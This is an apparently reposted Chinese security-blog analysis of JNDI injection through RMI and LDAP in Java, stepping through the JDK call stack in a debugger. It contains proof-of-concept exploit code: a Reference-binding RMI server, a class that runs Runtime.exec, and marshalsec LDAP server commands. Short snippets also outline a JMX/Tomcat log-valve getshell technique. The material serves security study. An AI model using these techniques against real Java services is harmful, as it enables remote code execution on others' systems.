<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一文讀懂JNDI-RMI、LDAP注入分析

    VSole2023-03-13 10:54:11

    JNDI介紹

    JNDI 的全稱是 Java Naming and Directory Interface (Java 命名和目錄接口 ),JNDI 提供統一的客戶端 API,通過不同的服務供應接口(SPI)的實現,由管理者將 JNDI API 映射為特定的命名服務和目錄服務,使得 JAVA 應用程可以通過 JNDI 實現和這些命名服務和目錄服務之間的交互。

    SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統一接口,從而實現目錄服務的可插拔式安裝。在 JDK 中包含了下述內置的目錄服務:

    LDAP、DNS、NIS、NDS、RMI、CORBA

    在JNDI中提供了綁定和查找的方法:

    • bind:將名稱綁定到對象中;
    • lookup:通過名字檢索執行的對象;

    下面從兩種服務來理解jndi注入。

    RMI介紹

    RMI 的全稱是 Rmote Method Invocation,遠程方法調用。具體實現的過程是:遠程服務器提供具體的類和方法,本地客戶端會通過某種方式獲得遠程類的一個代理,然后通過這個代理調用遠程對象的方法。方法的參數是通過序列化和反序列化的方式傳遞的。

    本地客戶端獲取遠程類的代理的方式是,借助了 Registry (注冊中心)

    其中 Server 和 Registry 可以放在同一個服務器上,也可以布置在不同的服務器上。

    RMI 流程:

    • Registry 首先啟動,并監聽一個端口,一般是1099
    • Server 向 Registry 注冊遠程對象
    • Client 從 REgistry 獲取遠程對象的代理
    • Client 通過這個代理調用遠程對象的方法
    • Server 端的代理接收到 Client 端調用的方法,參數,Server 端執行相對應的方法
    • Server 端的代理將執行結果返回給 Client 端代理

    JNDI之RMI

    JDK版本為1.7.0_13

    簡單看一段代碼

    public class jndi {    public static void main(String[] args) throws NamingException {        String uri = "rmi://127.0.0.1:1099/work";        InitialContext initialContext = new InitialContext();//得到初始目錄環境的一個引用        initialContext.lookup(uri);//獲取指定的遠程對象
    }
    

    這段代碼可以明顯看出來,要想實現jndi注入的利用只要在initialContext.lookup(uri)的位置實現uri可控就可以調用遠程惡意類實現RCE。

    Server.java

    服務端首先起一個注冊中心的端口1099,rmi服務默認端口為1099

    package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
    public class Server {
        public static void main(String[] args) throws Exception{        Registry registry= LocateRegistry.createRegistry(1099);        Reference reference = new Reference("Calc", "Calc", "http://localhost/");        ReferenceWrapper wrapper = new ReferenceWrapper(reference);        registry.bind("calc", wrapper);
        }}
    

    Client.java

    package jndi;
    import javax.naming.InitialContext;
    public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("rmi://localhost:1099/calc");    }}
    

    惡意類Calc.java

    import java.lang.Runtime;
    public class Calc {    public Calc() throws Exception{        Runtime.getRuntime().exec("calc");    }}
    

    分析

    debug調試服務端

    服務端注冊中心起監聽端口1099,創建Refernence一個對象,Reference對象中指定從遠程加載構造的惡意Factory類,new對象的時候需要className,factory和factoryLocation,并將其綁定到RMI服務器上

    debug啟動客戶端,F7跟進

    在GenericURLContext類96行通過RMI服務查找名字為calc的stub

    繼續向下跟進lookup,在RegistryContext類中該函數判斷var1和var2

    這里89行的的var為建立socket連接時的遠程地址,在98行跟進RegistryContext類

    在342行跟進到NamingManager類,繼續向下在getObjectInstance方法中獲取工廠類對象

    在319行調用了getObjectFactoryFromReference方法,發現通過getObjectFactoryFromReference方法調用惡意類

    繼續F7

    首先會本地查找,獲取到codebase后遠程調用,見158行

    在158行加載惡意類,在168行使用newInstance`方法實例化對象。到這里我們可以看到整個過程的調用棧為

    JDK版本為1.8.0_202

    在執行客戶端的時候報錯,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase 默認值為false,即不允許RMI遠程地址加載objectfactory類。

    JNDI之LDAP

    因為JNDI還可以對接LDAP服務,且LDAP也能返回Reference對象,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。

    客戶端代碼client.java

    package jndi;
    import javax.naming.InitialContext;
    public class Client {    public static void main(String[] args) throws Exception{        new InitialContext().lookup("ldap://localhost:1389/Calc");    }}
    


    python起web服務


    python3 -m http.server 80
    

    使用marshalsec啟動LDAP服務


    java -cp C:\Users\Administrator\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc
    


    啟動客戶端,調用遠程惡意類

    調用棧如下圖

    基本上rmi調用棧一致,原理上沒有什么差別,都是基于lookup()方法可控。

    彈出計算器

    參考鏈接

    https://blog.csdn.net/dupei/article/details/120534024

    https://cloud.tencent.com/developer/article/1942500

    https://blog.csdn.net/weixin_45682070/article/details/121888247?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&utm_relevant_index=8

    https://xz.aliyun.com/t/7264

    rmijndi
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    一次從jmx到rce
    2022-12-20 13:54:29
    jmx已知的利用方式有javax.management.loading.MLet加載遠程類rce,但是目標不出網必須用其他方式了。考慮到tomcat,想起來陳師傅寫過的《幾個Jolokia RCE 的“新”利用方式》通過tomcat的createStandardHost配合AccessLogValue進行rce。利用如下先創建Host為test.com?Catalina:type=Host,host=test.com然后tomcat的valve中就有了test.com的部署之后的結果修改host為test.com之后就可以訪問根目錄下的任意文件那么只需要寫入一個jsp文件就可以getshell了。寫入文件需要用AccessLogValue修改AccessLogValue的屬性suffix .jspprefix aafileDateFormat .yyyy-MM-ddpattern %h %l %u %t "%r" %s %b "%{Referer}i" "%{User-Agent}i"directory /tmp/
    本文作者Betta,首發于火線Zone安全社區。
    JNDI漏洞利用探索
    2022-01-23 19:33:23
    最近學習了淺藍師傅尋找的一些JNDI漏洞的利用鏈受益匪淺,自己也嘗試關于JNDI漏洞利用做一些挖掘,目前JN
    Apache Log4j2是一款優秀的Java日志框架,最近爆出了一個jndi注入的漏洞,影響面非常廣,各大廠商都被波及。Log4j2作為日志記錄的第三方庫,被廣泛得到使用,這次主要分享一下,最近的一些調試記錄。
    Java命名和目錄接口是Java編程語言中接口的名稱( JNDI )。它是一個API(應用程序接口),與服務器一起工作,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。 可以使用命名約定從數據庫獲取文件。JNDI為Java?戶提供了使?Java編碼語?在Java中搜索對象的?具。 簡單來說呢,JNDI相當與是Java里面的一個api,它可以通過命名來查找數據和對象。
    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。
    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
    本文首發于奇安信攻防社區漏洞簡述Log4j 2系列 < 2.15.0版本中存在反序列化漏洞。奇安信代碼安全實
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类